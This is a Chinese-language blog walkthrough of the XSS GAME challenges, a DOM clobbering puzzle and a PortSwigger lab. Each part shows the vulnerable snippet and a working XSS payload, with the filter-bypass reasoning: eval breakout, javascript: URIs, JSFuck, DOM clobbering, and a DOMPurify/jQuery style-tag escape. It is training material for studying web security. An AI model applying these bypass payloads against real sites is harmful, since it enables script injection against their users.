XSS GAME pwn()

目录

pass2-Jeff

pass3-Ugandan Knuckles

pass4-Ricardo Milos

pass5-Ah That's Hawt

pass6-Ligma

pass7-Mafia

pass8-Ok, Boomer

WW3

DOM破坏---标签属性全删除

Burpsuit---Lab: Exploiting DOM clobbering to enable XSS


pass2-Jeff

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>
payload
​
?jeff=aaa";%20alert(1337);"或者
?jeff=aaa"-alert(1337)-"

使用“引号进行闭合,再用分号;结束eval执行第一个语句,最后面在使用”对多余的“进行闭合。

或者使用-alert(1337)-,进行连接执行。

pass3-Ugandan Knuckles

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

先进行”闭合,再添加一个οnfοcus="alert(1337)",聚焦input是弹窗,最后添加autofocus属性,自动聚焦,就解决了有用户交互的问题。

pass4-Ricardo Milos

<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>
payload
?ricardo=javascript:alert(1337)

form表单action提交,我们只需将提交地址写成javascript:alert(1337),js伪地址就执行后面写的js代码

pass5-Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>
payload
?markassbrownlee="<img%20src="1"%20οnerrοr=location="javascript:alert%25281337%2529">"

题目过滤了(`)\,这里最重要的是过滤了括号(),导致无法调用函数。我们首先应该会想到用编码进行绕过,可由于JavaScript的特性---不能对符号进行编码。

这里我们可以利用Location,Location接口表示其链接到的对象的位置(URL)。location会自动把其值转换为字符串,字符串是可以进行url编码的。这里我们不能直接编码()为%28 %29,因为地址栏会自动将其编码为(),进入程序中还是会被规律。所我们先url编码%,进入程序为%28 %29,最后location属性,会把%28 %29url编码成()。

pass6-Ligma

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

不能使用字母和数字。可以使用JSFuck编码,JSFuck编码用()+[]!这六个字符可以编码JavaScript中任意字符,先进行JSFuck编码,再进行url编码,即可完成。

pass7-Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

这里只过滤了alert函数,我们可以使用alert函数的等效函数confirm。但这显然不是作者的本意。

解法一:使用构造函数

payload:?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

构造函数就相当于C++中的类,我们传递了一个ALERT(1337)参数,由于是大写,并不会过滤掉,然后使用.source.toLowerCase()方法转化为小写,Function后面再接一个(),表示调用该函数,就会执行alert(1337)代码。

方法二:..toString方法

payload:?mafia=eval(8680439..toString(30))(1337)

8680439使用parseInt('alert',30)得到的,这里参数为什么是30?因为三十进制是0-9,a-t这三十个字符进行解析的,必须要包含ascii最大的t字符。再用..toString方法将8680439编译回alter。

方法三:锚点链接

payload:?mafia=eval(location.hash.slice(1))#alert(1337)

#后面为锚点链接,不属于uri地址(也不属于mafia的值),因此也就不会被过滤。location.hash获取#和锚点链接,再利用slice(1)将#去除。

pass8-Ok, Boomer

<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

payload:?boomer=a%20id="ok"%20href="cid:alert(1337)"

这里使用了DOMPurify框架对get参数进行了过滤,我们无法直接在这进行注入,要使用DOM破坏。

<a>标签会自动将href()属性的值进行字符串转换。

1、setTimeout(x,y),第一个参数x只能接受函数或字符串。

2、setTimeout(ok,2000),<a>标签会自动利用href()属性进行字符串转换,ok调用id=ok的<a>标签,ok就被href中类型为String的值替换,即输出了setTimeout("cid:alert(1337)">,2000),2000ms后参数"cid:alert(1337)"就会执行

3、这里的cid的位置必须是DOMPurify过滤框架的白名单。

WW3

<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>
​
<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)
​
            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }
//<img name=notify><style><style/><script>alert(1337)//
            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>
​
<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

payload:?img=https://i.imgur.com/PdbDexI_d.webp?maxwidth=760&fidelity=grand&text=<img%20name%3dnotify><style><style%2F><script>alert(1337)%2F%2F

<img name=notify><style><style/><script>alert(1337)

DOMpurify3.4版本下,他的jquery.html 解析会造成标签逃逸问题,innerhtml

对于innerHTML:模拟浏览器自动补全标签,不处理非法标签。<style>标签中的内容都会被解析为text,包括里面的标签。

<style>
    <style/><script>alert(1337)//
</style>

对于Jqury.html():如果书写为<style/>,系统会认为你输入格式错误,会自动把<style/>修改为`<style></style>,最终就变成

<style>
    <style>
</style>
<script>alert(1337)//</style> </script>

innerHTML补齐的</style>标签被//注释掉了。可以看出<script>逃逸出了<style>标签,由于DOMPurify在对其进行innerHtml处理时,script标签已经被当作style标签的text处理了,所以DOMPurify不会进行清洗。

思路总结:memeTemplate模块中输出内容都在<text-area>标签中,无法xss注入,所以以下代码,才可能是注入点。程序要能执行到该处,首先需要满足表达式if (text && img)为真,其次是if (notify)为真。即img传递的网址必须可访问,notify=true。notify=true,我们无法通过直接传参来实现,但可以通过该形式<img name=notify>,img标签存在notyfy即为真,来替换程序中的notify变量。然后再利用DOMpurify标签解析特性,造成标签逃逸,该漏洞就注入成功了。

if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

DOM破坏---标签属性全删除

<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    // console.log(root.querySelectorAll('*'))
​
    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>

payload:#<style>@keyframes%20x{}</style>form%20style="animation-name:%20x"%20onanimationstart="alert(1)"<input%20id=attributes><input%20id=attributes>

JavaScript中利用id或name可以覆盖 document 或者 window 对象的某些值。当个id值相等,会自动创建collection集合。当我们删除form标签的属性时,el原本的attributes属性被id=attributes给取代了,所以这里遍历的attr就是input标签,而form中的危险属性并没有被删除。

这里如何没有用户交互执行js代码呢?先使用了style利用@keyframes属性创建了一个空动画,onanimationstart="alert(1)"在动画开始前调用alert(1)。

Burpsuit---Lab: Exploiting DOM clobbering to enable XSS

 let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
 let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

payload:<p><a id="defaultAvatar"></a><a href="cid:"οnerrοr=alert(1)//" name="avatar"

id="defaultAvatar"></a></p>

这里的漏洞点为defaultAvatar.avata,defaultAvatar.avata并没有被框架过滤,我们可以使用DOM破坏,来取代原本的defaultAvatar.avata。

---我们先评论:payload

第一条评论我们并没创建defaultAvatar,window.defaultAvatar=false,所以defaultAvatar=avatar。comment.avatar里有内容就为真,所以是src=escapeHTML(comment.avatar) 。defaultAvatar.avatar就会被替换成a标签

当我们再次评论时defaultAvatar.avata对象以创建,window.defaultAvatar=true,defaultAvatar=window.defaultAvatar。此时comment.avatar里没有内容为假,就会选择defaultAvatar.avatar,调用<a>标签。<a>标签会自动调用toString,就把herf里面的内容转换为字符串。恶意代码注入成功了。

这里我们要注意两个点

①闭合双引号我们要使用HTML实体编码& quot; ,直接使用双引号","会被herf转换为字符串,进入页面后,HTML实体编码就识别不了。只用填写& quot;,页面才能识别,将其转换为"。

②我们还要使用cid伪协议,否则会出现下图的情况。如果我们不使用cid伪协议,& quot;实体编码为"后,src还会对其进行urlcode编码。使用cid伪协议,src认为cid伪协议为链接(伪协议本质上就被当做链接处理),所以不会再对其进行urlcode编码。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值